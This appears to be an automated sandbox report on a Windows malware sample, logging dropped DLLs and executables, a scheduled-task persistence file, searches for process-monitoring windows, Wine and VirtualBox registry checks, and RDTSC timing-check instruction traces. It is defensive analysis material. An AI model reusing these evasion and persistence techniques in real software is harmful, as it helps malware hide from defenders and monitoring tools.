Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCAEHJJKFC.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHCAEHJJKFC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsHCAEHJJKFC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-Q5AID.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008010001\FunnyJellyfish.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsHCAEHJJKFC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF84C second address: 7FF852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF852 second address: 7FF864 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007F95994487B0h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98C372 second address: 98C398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9598E72AD2h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9598E72ACDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E607 second address: 98E625 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jno 00007F95994487AEh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E68B second address: 98E6B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007F9598E72AC6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d pushad 0x0000000e cmc 0x0000000f or cx, 5CB1h 0x00000014 popad 0x00000015 push 00000000h 0x00000017 mov ecx, esi 0x00000019 call 00007F9598E72AC9h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E6B2 second address: 98E6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E6B6 second address: 98E6C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E6C0 second address: 98E6C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E6C4 second address: 98E6D5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9598E72AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E6D5 second address: 98E6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E6DC second address: 98E77F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9598E72ACCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F9598E72AD1h 0x00000013 mov eax, dword ptr [eax] 0x00000015 jnl 00007F9598E72ADAh 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f ja 00007F9598E72AD4h 0x00000025 pop eax 0x00000026 sbb edx, 482A3E45h 0x0000002c push 00000003h 0x0000002e xor esi, 1E6AD261h 0x00000034 push 00000000h 0x00000036 push 00000003h 0x00000038 push 00000000h 0x0000003a push edx 0x0000003b call 00007F9598E72AC8h 0x00000040 pop edx 0x00000041 mov dword ptr [esp+04h], edx 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc edx 0x0000004e push edx 0x0000004f ret 0x00000050 pop edx 0x00000051 ret 0x00000052 push 4FB403CCh 0x00000057 push eax 0x00000058 push edx 0x00000059 jns 00007F9598E72ACCh 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E77F second address: 98E784 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E85A second address: 98E860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E860 second address: 98E865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E865 second address: 98E8A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F9598E72AC6h 0x00000009 jmp 00007F9598E72AD3h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jne 00007F9598E72ACEh 0x00000018 nop 0x00000019 mov dh, ch 0x0000001b push 00000000h 0x0000001d mov edx, 70CD5E46h 0x00000022 push C5D12205h 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E8A7 second address: 98E8C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F95994487B1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E8C0 second address: 98E8C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E8C4 second address: 98E959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 3A2EDE7Bh 0x0000000e jmp 00007F95994487AEh 0x00000013 push 00000003h 0x00000015 add dword ptr [ebp+122D1CC0h], esi 0x0000001b push 00000000h 0x0000001d or dword ptr [ebp+122D1DBEh], edi 0x00000023 push 00000003h 0x00000025 jng 00007F95994487ACh 0x0000002b mov ecx, dword ptr [ebp+122D3505h] 0x00000031 push F9C2E6A8h 0x00000036 jmp 00007F95994487B5h 0x0000003b xor dword ptr [esp], 39C2E6A8h 0x00000042 push 00000000h 0x00000044 push ebx 0x00000045 call 00007F95994487A8h 0x0000004a pop ebx 0x0000004b mov dword ptr [esp+04h], ebx 0x0000004f add dword ptr [esp+04h], 0000001Ch 0x00000057 inc ebx 0x00000058 push ebx 0x00000059 ret 0x0000005a pop ebx 0x0000005b ret 0x0000005c lea ebx, dword ptr [ebp+124624EDh] 0x00000062 mov dword ptr [ebp+122D1CC0h], ebx 0x00000068 push eax 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c jnl 00007F95994487A6h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E9BD second address: 98E9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 jc 00007F9598E72ACCh 0x0000000d pushad 0x0000000e mov dword ptr [ebp+122D23B7h], ecx 0x00000014 mov edx, edi 0x00000016 popad 0x00000017 push 00000000h 0x00000019 jns 00007F9598E72ACCh 0x0000001f call 00007F9598E72AC9h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push edx 0x00000028 pop edx 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E9F9 second address: 98EA2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95994487B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jc 00007F95994487ACh 0x00000011 jo 00007F95994487ACh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98EB35 second address: 98EB39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0086 second address: 9A008A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A008A second address: 9A009F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9598E72AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ACA55 second address: 9ACA61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ACA61 second address: 9ACA6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9598E72AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ACBB1 second address: 9ACBE1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F95994487B7h 0x0000000b jmp 00007F95994487ADh 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ACF0A second address: 9ACF12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD606 second address: 9AD60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD60C second address: 9AD61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F9598E72AC6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AD8AB second address: 9AD8CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95994487ADh 0x00000009 jmp 00007F95994487B0h 0x0000000e rdtsc
